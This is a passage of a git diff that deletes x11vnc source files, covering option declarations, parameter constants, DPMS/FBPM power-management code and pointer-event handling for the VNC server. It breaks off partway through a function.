-extern int use_xkb_modtweak;
-extern int skip_duplicate_key_events;
-extern char *skip_keycodes;
-extern int sloppy_keys;
-extern int add_keysyms;
-
-extern char *remap_file;
-extern char *pointer_remap;
-extern int pointer_mode;
-extern int pointer_mode_max;
-extern int single_copytile;
-extern int single_copytile_orig;
-extern int single_copytile_count;
-extern int tile_shm_count;
-
-extern int using_shm;
-extern int flip_byte_order;
-extern int waitms;
-extern int got_waitms;
-extern double wait_ui;
-extern double slow_fb;
-extern double xrefresh;
-extern int wait_bog;
-extern int extra_fbur;
-extern int defer_update;
-extern int set_defer;
-extern int got_defer;
-extern int got_deferupdate;
-
-extern int screen_blank;
-
-extern int no_fbu_blank;
-extern int take_naps;
-extern int naptile;
-extern int napfac;
-extern int napmax;
-extern int ui_skip;
-extern int all_input;
-extern int handle_events_eagerly;
-
-extern int watch_fbpm;
-extern int watch_dpms;
-extern int force_dpms;
-extern int client_dpms;
-extern int no_ultra_dpms;
-extern int no_ultra_ext;
-extern int saw_ultra_chat;
-extern int saw_ultra_file;
-extern int chat_window;
-extern rfbClientPtr chat_window_client;
-
-extern int watch_selection;
-extern int watch_primary;
-extern int watch_clipboard;
-extern char *sel_direction;
-
-extern char *sigpipe;
-
-extern VisualID visual_id;
-extern int visual_depth;
-
-extern int overlay;
-extern int overlay_cursor;
-
-extern double fs_frac;
-extern int tile_fuzz;
-
-extern int grow_fill;
-extern int gaps_fill;
-
-extern int debug_pointer;
-extern int debug_keyboard;
-
-extern int quiet;
-extern int verbose;
-
-extern int use_threads;
-extern int started_rfbRunEventLoop;
-extern int threads_drop_input;
-
-extern int got_noxwarppointer;
-extern int got_rfbport;
-extern int got_rfbport_val;
-extern int got_alwaysshared;
-extern int got_nevershared;
-extern int got_cursorpos;
-extern int got_pointer_mode;
-extern int got_noviewonly;
-extern int got_wirecopyrect;
-extern int got_scrollcopyrect;
-extern int got_noxkb;
-extern int got_nomodtweak;
-
-#endif /* _X11VNC_OPTIONS_H */
diff --git a/x11vnc/params.h b/x11vnc/params.h
deleted file mode 100644
index a1690b9..0000000
--- a/x11vnc/params.h
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_PARAMS_H
-#define _X11VNC_PARAMS_H
-
-/* -- params.h -- */
-
-#define ICON_MODE_SOCKS 16
-
-/* had lw=3 for a long time */
-#ifndef WIREFRAME_PARMS
-#define WIREFRAME_PARMS "0xff,2,0,32+8+8+8,all,0.15+0.30+5.0+0.125"
-#endif
-
-#ifndef SCROLL_COPYRECT_PARMS
-#define SCROLL_COPYRECT_PARMS "0+64+32+32,0.02+0.10+0.9,0.03+0.06+0.5+0.1+5.0"
-#endif
-
-#ifndef POLL_8TO24_DELAY
-#define POLL_8TO24_DELAY 0.05
-#endif
-
-#define LATENCY0 20 /* 20ms */
-#define NETRATE0 20 /* 20KB/sec */
-
-#define POINTER_MODE_NOFB 2
-
-/* scan pattern jitter from x0rfbserver */
-#define NSCAN 32
-
-#define FB_COPY 0x1
-#define FB_MOD 0x2
-#define FB_REQ 0x4
-
-#define VNC_CONNECT_MAX 16384
-#define X11VNC_REMOTE_MAX 65536
-#define PROP_MAX (262144L)
-
-#define MAXN 256
-
-#define PIPEINPUT_NONE 0x0
-#define PIPEINPUT_VID 0x1
-#define PIPEINPUT_CONSOLE 0x2
-#define PIPEINPUT_UINPUT 0x3
-#define PIPEINPUT_MACOSX 0x4
-#define PIPEINPUT_VNC 0x5
-
-#define MAX_BUTTONS 5
-
-#define ROTATE_NONE 0
-#define ROTATE_X 1
-#define ROTATE_Y 2
-#define ROTATE_XY 3
-#define ROTATE_90 4
-#define ROTATE_90X 5
-#define ROTATE_90Y 6
-#define ROTATE_270 7
-
-#define VENCRYPT_NONE 0
-#define VENCRYPT_SUPPORT 1
-#define VENCRYPT_SOLE 2
-#define VENCRYPT_FORCE 3
-
-#define VENCRYPT_BOTH 0
-#define VENCRYPT_NODH 1
-#define VENCRYPT_NOX509 2
-
-#define ANONTLS_NONE 0
-#define ANONTLS_SUPPORT 1
-#define ANONTLS_SOLE 2
-#define ANONTLS_FORCE 3
-
-#endif /* _X11VNC_PARAMS_H */
diff --git a/x11vnc/pm.c b/x11vnc/pm.c
deleted file mode 100644
index 659c272..0000000
--- a/x11vnc/pm.c
+++ /dev/null
@@ -1,297 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- pm.c -- */
-#include "x11vnc.h"
-#include "cleanup.h"
-
-void check_pm(void);
-void set_dpms_mode(char *mode);
-static void check_fbpm(void);
-static void check_dpms(void);
-
-#if LIBVNCSERVER_HAVE_FBPM
-#include <X11/Xmd.h>
-#include <X11/extensions/fbpm.h>
-#endif
-
-#if LIBVNCSERVER_HAVE_DPMS
-#include <X11/extensions/dpms.h>
-#endif
-
-void check_pm(void) {
- static int skip = -1;
- if (skip < 0) {
- skip = 0;
- if (getenv("X11VNC_NO_CHECK_PM")) {
- skip = 1;
- }
- }
- if (skip) {
- return;
- }
- check_fbpm();
- check_dpms();
- /* someday dpms activities? */
-}
-
-static void check_fbpm(void) {
- static int init_fbpm = 0;
-#if LIBVNCSERVER_HAVE_FBPM
- static int fbpm_capable = 0;
- static time_t last_fbpm = 0;
- int db = 0;
-
- CARD16 level;
- BOOL enabled;
-
- RAWFB_RET_VOID
-
- if (! init_fbpm) {
- if (getenv("FBPM_DEBUG")) {
- db = atoi(getenv("FBPM_DEBUG"));
- }
- if (FBPMCapable(dpy)) {
- fbpm_capable = 1;
- rfbLog("X display is capable of FBPM.\n");
- if (watch_fbpm) {
- rfbLog("Preventing low-power FBPM modes when"
- " clients are connected.\n");
- }
- } else {
- if (! raw_fb_str) {
- rfbLog("X display is not capable of FBPM.\n");
- }
- fbpm_capable = 0;
- }
- init_fbpm = 1;
- }
-
- if (! watch_fbpm) {
- return;
- }
- if (! fbpm_capable) {
- return;
- }
- if (! client_count) {
- return;
- }
- if (time(NULL) < last_fbpm + 5) {
- return;
- }
- last_fbpm = time(NULL);
-
- if (FBPMInfo(dpy, &level, &enabled)) {
- if (db) fprintf(stderr, "FBPMInfo level: %d enabled: %d\n", level, enabled);
-
- if (enabled && level != FBPMModeOn) {
- char *from = "unknown-fbpm-state";
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
-
- if (level == FBPMModeStandby) {
- from = "FBPMModeStandby";
- } else if (level == FBPMModeSuspend) {
- from = "FBPMModeSuspend";
- } else if (level == FBPMModeOff) {
- from = "FBPMModeOff";
- }
-
- rfbLog("switching FBPM state from %s to FBPMModeOn\n", from);
-
- FBPMForceLevel(dpy, FBPMModeOn);
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- }
- } else {
- if (db) fprintf(stderr, "FBPMInfo failed.\n");
- }
-#else
- RAWFB_RET_VOID
- if (! init_fbpm) {
- if (! raw_fb_str) {
- rfbLog("X FBPM extension not supported.\n");
- }
- init_fbpm = 1;
- }
-#endif
-}
-
-void set_dpms_mode(char *mode) {
-#if NO_X11
- return;
-#else
- RAWFB_RET_VOID
-#if LIBVNCSERVER_HAVE_DPMS
- if (dpy && DPMSCapable(dpy)) {
- CARD16 level;
- CARD16 want;
- BOOL enabled;
- if (!strcmp(mode, "off")) {
- want = DPMSModeOff;
- } else if (!strcmp(mode, "on")) {
- want = DPMSModeOn;
- } else if (!strcmp(mode, "standby")) {
- want = DPMSModeStandby;
- } else if (!strcmp(mode, "suspend")) {
- want = DPMSModeSuspend;
- } else if (!strcmp(mode, "enable")) {
- DPMSEnable(dpy);
- return;
- } else if (!strcmp(mode, "disable")) {
- DPMSDisable(dpy);
- return;
- } else {
- return;
- }
- if (DPMSInfo(dpy, &level, &enabled)) {
- char *from = "unk";
- if (enabled && level != want) {
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
-
- rfbLog("DPMSInfo level: %d enabled: %d\n", level, enabled);
- if (level == DPMSModeStandby) {
- from = "DPMSModeStandby";
- } else if (level == DPMSModeSuspend) {
- from = "DPMSModeSuspend";
- } else if (level == DPMSModeOff) {
- from = "DPMSModeOff";
- } else if (level == DPMSModeOn) {
- from = "DPMSModeOn";
- }
-
- rfbLog("switching DPMS state from %s to %s\n", from, mode);
-
- DPMSForceLevel(dpy, want);
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- }
- }
- }
-#endif
-#endif
-}
-
-static void check_dpms(void) {
- static int init_dpms = 0;
-#if LIBVNCSERVER_HAVE_DPMS
- static int dpms_capable = 0;
- static time_t last_dpms = 0;
- int db = 0;
-
- CARD16 level;
- BOOL enabled;
-
- RAWFB_RET_VOID
-
- if (! init_dpms) {
- if (getenv("DPMS_DEBUG")) {
- db = atoi(getenv("DPMS_DEBUG"));
- }
- if (DPMSCapable(dpy)) {
- dpms_capable = 1;
- rfbLog("X display is capable of DPMS.\n");
- if (watch_dpms) {
- rfbLog("Preventing low-power DPMS modes when"
- " clients are connected.\n");
- }
- } else {
- if (! raw_fb_str) {
- rfbLog("X display is not capable of DPMS.\n");
- }
- dpms_capable = 0;
- }
- init_dpms = 1;
- }
-
- if (force_dpms || (client_dpms && client_count)) {
- static int last_enable = 0;
- if (time(NULL) > last_enable) {
- set_dpms_mode("enable");
- last_enable = time(NULL);
- }
- set_dpms_mode("off");
- }
- if (! watch_dpms) {
- return;
- }
- if (! dpms_capable) {
- return;
- }
- if (! client_count) {
- return;
- }
- if (time(NULL) < last_dpms + 5) {
- return;
- }
- last_dpms = time(NULL);
-
- if (DPMSInfo(dpy, &level, &enabled)) {
- if (db) fprintf(stderr, "DPMSInfo level: %d enabled: %d\n", level, enabled);
-
- if (enabled && level != DPMSModeOn) {
- char *from = "unknown-dpms-state";
- XErrorHandler old_handler = XSetErrorHandler(trap_xerror);
- trapped_xerror = 0;
-
- if (level == DPMSModeStandby) {
- from = "DPMSModeStandby";
- } else if (level == DPMSModeSuspend) {
- from = "DPMSModeSuspend";
- } else if (level == DPMSModeOff) {
- from = "DPMSModeOff";
- }
-
- rfbLog("switching DPMS state from %s to DPMSModeOn\n", from);
-
- DPMSForceLevel(dpy, DPMSModeOn);
-
- XSetErrorHandler(old_handler);
- trapped_xerror = 0;
- }
- } else {
- if (db) fprintf(stderr, "DPMSInfo failed.\n");
- }
-#else
- RAWFB_RET_VOID
- if (! init_dpms) {
- if (! raw_fb_str) {
- rfbLog("X DPMS extension not supported.\n");
- }
- init_dpms = 1;
- }
-#endif
-}
-
diff --git a/x11vnc/pm.h b/x11vnc/pm.h
deleted file mode 100644
index 01ef9a6..0000000
--- a/x11vnc/pm.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_PM_H
-#define _X11VNC_PM_H
-
-/* -- pm.h -- */
-extern void check_pm(void);
-extern void set_dpms_mode(char *mode);
-
-#endif /* _X11VNC_PM_H */
diff --git a/x11vnc/pointer.c b/x11vnc/pointer.c
deleted file mode 100644
index f2995c3..0000000
--- a/x11vnc/pointer.c
+++ /dev/null
@@ -1,1206 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- pointer.c -- */
-
-#include "x11vnc.h"
-#include "xwrappers.h"
-#include "keyboard.h"
-#include "xinerama.h"
-#include "xrecord.h"
-#include "win_utils.h"
-#include "cursor.h"
-#include "userinput.h"
-#include "connections.h"
-#include "cleanup.h"
-#include "unixpw.h"
-#include "v4l.h"
-#include "linuxfb.h"
-#include "uinput.h"
-#include "scan.h"
-#include "macosx.h"
-#include "screen.h"
-
-int pointer_queued_sent = 0;
-
-void initialize_pointer_map(char *pointer_remap);
-void do_button_mask_change(int mask, int button);
-void pointer_event(int mask, int x, int y, rfbClientPtr client);
-void initialize_pipeinput(void);
-int check_pipeinput(void);
-void update_x11_pointer_position(int x, int y);
-
-
-static void buttonparse(int from, char **s);
-static void update_x11_pointer_mask(int mask);
-static void pipe_pointer(int mask, int x, int y, rfbClientPtr client);
-
-/*
- * pointer event (motion and button click) handling routines.
- */
-typedef struct ptrremap {
- KeySym keysym;
- KeyCode keycode;
- int end;
- int button;
- int down;
- int up;
-} prtremap_t;
-
-#define MAX_BUTTON_EVENTS 50
-static prtremap_t pointer_map[MAX_BUTTONS+1][MAX_BUTTON_EVENTS];
-
-/*
- * For parsing the -buttonmap sections, e.g. "4" or ":Up+Up+Up:"
- */
-static void buttonparse(int from, char **s) {
-#if (0 && NO_X11)
- if (!from || !s) {}
- return;
-#else
- char *q;
- int to, i;
- int modisdown[256];
-
- q = *s;
-
- for (i=0; i<256; i++) {
- modisdown[i] = 0;
- }
-
- if (*q == ':') {
- /* :sym1+sym2+...+symN: format */
- int l = 0, n = 0;
- char list[1000];
- char *t, *kp = q + 1;
- KeyCode kcode;
-
- while (*(kp+l) != ':' && *(kp+l) != '\0') {
- /* loop to the matching ':' */
- l++;
- if (l >= 1000) {
- rfbLog("buttonparse: keysym list too long: "
- "%s\n", q);
- break;
- }
- }
- *(kp+l) = '\0';
- strncpy(list, kp, l);
- list[l] = '\0';
- rfbLog("remap button %d using \"%s\"\n", from, list);
-
- /* loop over tokens separated by '+' */
- t = strtok(list, "+");
- while (t) {
- KeySym ksym;
- unsigned int ui;
- int i;
- if (n >= MAX_BUTTON_EVENTS - 20) {
- rfbLog("buttonparse: too many button map "
- "events: %s\n", list);
- break;
- }
- if (sscanf(t, "0x%x", &ui) == 1) {
- ksym = (KeySym) ui; /* hex value */
- } else {
- X_LOCK;
- ksym = XStringToKeysym(t); /* string value */
- X_UNLOCK;
- }
- if (ksym == NoSymbol) {
- /* see if Button<N> "keysym" was used: */
- if (sscanf(t, "Button%d", &i) == 1) {
- rfbLog(" event %d: button %d\n",
- from, n+1, i);
- if (i == 0) i = -1; /* bah */
- pointer_map[from][n].keysym = NoSymbol;
- pointer_map[from][n].keycode = NoSymbol;
- pointer_map[from][n].button = i;
- pointer_map[from][n].end = 0;
- pointer_map[from][n].down = 0;
- pointer_map[from][n].up = 0;
- } else {
- rfbLog("buttonparse: ignoring unknown "
- "keysym: %s\n", t);
- n--;
- }
- } else if (dpy) {
- /*
- * XXX may not work with -modtweak or -xkb
- */
- char *str;
- X_LOCK;
-#if NO_X11
- kcode = NoSymbol;
-#else
- kcode = XKeysymToKeycode(dpy, ksym);
-#endif
-
- pointer_map[from][n].keysym = ksym;
- pointer_map[from][n].keycode = kcode;
- pointer_map[from][n].button = 0;
- pointer_map[from][n].end = 0;
- if (! ismodkey(ksym) ) {
- /* do both down then up */
- pointer_map[from][n].down = 1;
- pointer_map[from][n].up = 1;
- } else {
- if (modisdown[kcode]) {
- pointer_map[from][n].down = 0;
- pointer_map[from][n].up = 1;
- modisdown[kcode] = 0;
- } else {
- pointer_map[from][n].down = 1;
- pointer_map[from][n].up = 0;
- modisdown[kcode] = 1;
- }
- }
- str = XKeysymToString(ksym);
- rfbLog(" event %d: keysym %s (0x%x) -> "
- "keycode 0x%x down=%d up=%d\n", n+1,
- str ? str : "null", ksym, kcode,
- pointer_map[from][n].down,
- pointer_map[from][n].up);
- X_UNLOCK;
- }
- t = strtok(NULL, "+");
- n++;
- }
-
- /* we must release any modifiers that are still down: */
- for (i=0; i<256; i++) {
- kcode = (KeyCode) i;
- if (n >= MAX_BUTTON_EVENTS) {
- rfbLog("buttonparse: too many button map "
- "events: %s\n", list);
- break;
- }
- if (modisdown[kcode]) {
- pointer_map[from][n].keysym = NoSymbol;
- pointer_map[from][n].keycode = kcode;
- pointer_map[from][n].button = 0;
- pointer_map[from][n].end = 0;
- pointer_map[from][n].down = 0;
- pointer_map[from][n].up = 1;
- modisdown[kcode] = 0;
- n++;
- }
- }
-
- /* advance the source pointer position */
- (*s) += l+2;
- } else {
- /* single digit format */
- char str[2];
- str[0] = *q;
- str[1] = '\0';
-
- to = atoi(str);
- if (to < 1) {
- rfbLog("skipping invalid remap button \"%d\" for button"
- " %d from string \"%s\"\n",
- to, from, str);
- } else {
- rfbLog("remap button %d using \"%s\"\n", from, str);
- rfbLog(" button: %d -> %d\n", from, to);
- pointer_map[from][0].keysym = NoSymbol;
- pointer_map[from][0].keycode = NoSymbol;
- pointer_map[from][0].button = to;
- pointer_map[from][0].end = 0;
- pointer_map[from][0].down = 0;
- pointer_map[from][0].up = 0;
- }
- /* advance the source pointer position */
- (*s)++;
- }
-#endif /* NO_X11 */
-}
-
-/*
- * process the -buttonmap string
- */
-void initialize_pointer_map(char *pointer_remap) {
- unsigned char map[MAX_BUTTONS];
- int i, k;
- /*
- * This routine counts the number of pointer buttons on the X
- * server (to avoid problems, even crashes, if a client has more
- * buttons). And also initializes any pointer button remapping
- * from -buttonmap option.
- */
-
- if (!raw_fb_str) {
-#if NO_X11
- num_buttons = 5;
-#else
- X_LOCK;
- num_buttons = XGetPointerMapping(dpy, map, MAX_BUTTONS);
- X_UNLOCK;
- rfbLog("The X server says there are %d mouse buttons.\n", num_buttons);
-#endif
- } else {
- num_buttons = 5;
- rfbLog("Manually set num_buttons to: %d\n", num_buttons);
- }
-
- if (num_buttons < 0) {
- num_buttons = 0;
- }
-
- /* FIXME: should use info in map[] */
- for (i=1; i<= MAX_BUTTONS; i++) {
- for (k=0; k < MAX_BUTTON_EVENTS; k++) {
- pointer_map[i][k].end = 1;
- }
- pointer_map[i][0].keysym = NoSymbol;
- pointer_map[i][0].keycode = NoSymbol;
- pointer_map[i][0].button = i;
- pointer_map[i][0].end = 0;
- pointer_map[i][0].down = 0;
- pointer_map[i][0].up = 0;
- }
-
- if (pointer_remap && *pointer_remap != '\0') {
- /* -buttonmap, format is like: 12-21=2 */
- char *p, *q, *remap = strdup(pointer_remap);
- int n;
-
- if ((p = strchr(remap, '=')) != NULL) {
- /* undocumented max button number */
- n = atoi(p+1);
- *p = '\0';
- if (n < num_buttons || num_buttons == 0) {
- num_buttons = n;
- } else {
- rfbLog("warning: increasing number of mouse "
- "buttons from %d to %d\n", num_buttons, n);
- num_buttons = n;
- }
- }
- if ((q = strchr(remap, '-')) != NULL) {
- /*
- * The '-' separates the 'from' and 'to' lists,
- * then it is kind of like tr(1).
- */
- char str[2];
- int from;
-
- rfbLog("remapping pointer buttons using string:\n");
- rfbLog(" \"%s\"\n", remap);
-
- p = remap;
- q++;
- i = 0;
- str[1] = '\0';
- while (*p != '-') {
- str[0] = *p;
- from = atoi(str);
- buttonparse(from, &q);
- p++;
- }
- }
- free(remap);
- }
-}
-
-/*
- * Send a pointer position event to the X server.
- */
-void update_x11_pointer_position(int x, int y) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!x || !y) {}
- return;
-#else
- int rc;
-
- RAWFB_RET_VOID
-
- X_LOCK;
- if (!always_inject && cursor_x == x && cursor_y == y) {
- ;
- } else if (use_xwarppointer) {
- /*
- * off_x and off_y not needed with XWarpPointer since
- * window is used:
- */
- XWarpPointer(dpy, None, window, 0, 0, 0, 0, x + coff_x,
- y + coff_y);
- } else {
- XTestFakeMotionEvent_wr(dpy, scr, x + off_x + coff_x,
- y + off_y + coff_y, CurrentTime);
- }
- X_UNLOCK;
-
- if (cursor_x != x || cursor_y != y) {
- last_pointer_motion_time = dnow();
- }
-
- cursor_x = x;
- cursor_y = y;
-
- /* record the x, y position for the rfb screen as well. */
- cursor_position(x, y);
-
- /* change the cursor shape if necessary */
- rc = set_cursor(x, y, get_which_cursor());
- cursor_changes += rc;
-
- last_event = last_input = last_pointer_input = time(NULL);
-#endif /* NO_X11 */
-}
-
-void do_button_mask_change(int mask, int button) {
-#if NO_X11
- if (!mask || !button) {}
- return;
-#else
- int mb, k, i = button-1;
-
- /*
- * this expands to any pointer_map button -> keystrokes
- * remappings. Usually just k=0 and we send one button event.
- */
- for (k=0; k < MAX_BUTTON_EVENTS; k++) {
- int bmask = (mask & (1<<i));
-
- if (pointer_map[i+1][k].end) {
- break;
- }
-
- if (pointer_map[i+1][k].button) {
- /* send button up or down */
-
- mb = pointer_map[i+1][k].button;
- if ((num_buttons && mb > num_buttons) || mb < 1) {
- rfbLog("ignoring mouse button out of "
- "bounds: %d>%d mask: 0x%x -> 0x%x\n",
- mb, num_buttons, button_mask, mask);
- continue;
- }
- if (debug_pointer) {
- rfbLog("pointer(): sending button %d"
- " %s (event %d)\n", mb, bmask
- ? "down" : "up", k+1);
- }
- XTestFakeButtonEvent_wr(dpy, mb, (mask & (1<<i))
- ? True : False, CurrentTime);
- } else {
- /* send keysym up or down */
- KeyCode key = pointer_map[i+1][k].keycode;
- int up = pointer_map[i+1][k].up;
- int down = pointer_map[i+1][k].down;
-
- if (! bmask) {
- /* do not send keysym on button up */
- continue;
- }
- if (debug_pointer && dpy) {
- char *str = XKeysymToString(XKeycodeToKeysym(
- dpy, key, 0));
- rfbLog("pointer(): sending button %d "
- "down as keycode 0x%x (event %d)\n",
- i+1, key, k+1);
- rfbLog(" down=%d up=%d keysym: "
- "%s\n", down, up, str ? str : "null");
- }
- if (down) {
- XTestFakeKeyEvent_wr(dpy, key, True,
- CurrentTime);
- }
- if (up) {
- XTestFakeKeyEvent_wr(dpy, key, False,
- CurrentTime);
- }
- }
- }
-#endif /* NO_X11 */
-}
-
-/*
- * Send a pointer button event to the X server.
- */
-static void update_x11_pointer_mask(int mask) {
-#if NO_X11
- last_event = last_input = last_pointer_input = time(NULL);
-
- RAWFB_RET_VOID
- if (!mask) {}
- return;
-#else
- int snapped = 0, xr_mouse = 1, i;
- last_event = last_input = last_pointer_input = time(NULL);
-
- RAWFB_RET_VOID
-
- if (mask != button_mask) {
- last_pointer_click_time = dnow();
- }
-
- if (nofb) {
- xr_mouse = 0;
- } else if (!strcmp(scroll_copyrect, "never")) {
- xr_mouse = 0;
- } else if (!strcmp(scroll_copyrect, "keys")) {
- xr_mouse = 0;
- } else if (skip_cr_when_scaling("scroll")) {
- xr_mouse = 0;
- } else if (xrecord_skip_button(mask, button_mask)) {
- xr_mouse = 0;
- }
-
- if (mask && use_xrecord && ! xrecording && xr_mouse) {
- static int px, py, x, y, w, h, got_wm_frame;
- static XWindowAttributes attr;
- Window frame = None, mwin = None;
- int skip = 0;
-
- if (!button_mask) {
- X_LOCK;
- if (get_wm_frame_pos(&px, &py, &x, &y, &w, &h,
- &frame, &mwin)) {
- got_wm_frame = 1;
-if (debug_scroll > 1) fprintf(stderr, "wm_win: 0x%lx\n", mwin);
- if (mwin != None) {
- if (!valid_window(mwin, &attr, 1)) {
- mwin = None;
- }
- }
- } else {
- got_wm_frame = 0;
- }
- X_UNLOCK;
- }
- if (got_wm_frame) {
- if (wireframe && near_wm_edge(x, y, w, h, px, py)) {
- /* step out of wireframe's way */
- skip = 1;
- } else {
- int ok = 0;
- int btn4 = (1<<3);
- int btn5 = (1<<4);
-
- if (near_scrollbar_edge(x, y, w, h, px, py)) {
- ok = 1;
- }
- if (mask & (btn4|btn5)) {
- /* scroll wheel mouse */
- ok = 1;
- }
- if (mwin != None) {
- /* skinny internal window */
- int w = attr.width;
- int h = attr.height;
- if (h > 10 * w || w > 10 * h) {
-if (debug_scroll > 1) fprintf(stderr, "internal scrollbar: %dx%d\n", w, h);
- ok = 1;
- }
- }
- if (! ok) {
- skip = 1;
- }
- }
- }
-
- if (! skip) {
- xrecord_watch(1, SCR_MOUSE);
- snapshot_stack_list(0, 0.50);
- snapped = 1;
- if (button_mask) {
- xrecord_set_by_mouse = 1;
- } else {
- update_stack_list();
- xrecord_set_by_mouse = 2;
- }
- }
- }
-
- if (mask && !button_mask) {
- /* button down, snapshot the stacking list before flushing */
- if (wireframe && !wireframe_in_progress &&
- strcmp(wireframe_copyrect, "never")) {
- if (! snapped) {
- snapshot_stack_list(0, 0.0);
- }
- }
- }
-
- X_LOCK;
-
- /* look for buttons that have be clicked or released: */
- for (i=0; i < MAX_BUTTONS; i++) {
- if ( (button_mask & (1<<i)) != (mask & (1<<i)) ) {
- if (debug_pointer) {
- rfbLog("pointer(): mask change: mask: 0x%x -> "
- "0x%x button: %d\n", button_mask, mask,i+1);
- }
- do_button_mask_change(mask, i+1); /* button # is i+1 */
- }
- }
-
- X_UNLOCK;
-
- /*
- * Remember the button state for next time and also for the
- * -nodragging case:
- */
- button_mask_prev = button_mask;
- button_mask = mask;
-#endif /* NO_X11 */
-}
-
-/* for -pipeinput */
-
-
-static void pipe_pointer(int mask, int x, int y, rfbClientPtr client) {
- int can_input = 0, uid = 0;
- allowed_input_t input;
- ClientData *cd = (ClientData *) client->clientData;
- char hint[MAX_BUTTONS * 20];
-
- if (pipeinput_int == PIPEINPUT_VID) {
- v4l_pointer_command(mask, x, y, client);
- } else if (pipeinput_int == PIPEINPUT_CONSOLE) {
- console_pointer_command(mask, x, y, client);
- } else if (pipeinput_int == PIPEINPUT_UINPUT) {
- uinput_pointer_command(mask, x, y, client);
- } else if (pipeinput_int == PIPEINPUT_MACOSX) {
- macosx_pointer_command(mask, x, y, client);
- } else if (pipeinput_int == PIPEINPUT_VNC) {
- vnc_reflect_send_pointer(x, y, mask);
- }
- if (pipeinput_fh == NULL) {
- return;
- }
-
- if (! view_only) {
- get_allowed_input(client, &input);
- if (input.motion || input.button) {
- can_input = 1; /* XXX distinguish later */
- }
- }
-
- if (cd) {
- uid = cd->uid;
- }
- if (! can_input) {
- uid = -uid;
- }
-
- hint[0] = '\0';
- if (mask == button_mask) {
- strcat(hint, "None");
- } else {
- int i, old, newb, m = 1, cnt = 0;
- for (i=0; i<MAX_BUTTONS; i++) {
- char s[20];
-
- old = button_mask & m;
- newb = mask & m;
- m = m << 1;
-
- if (old == newb) {
- continue;
- }
- if (hint[0] != '\0') {
- strcat(hint, ",");
- }
- if (newb && ! old) {
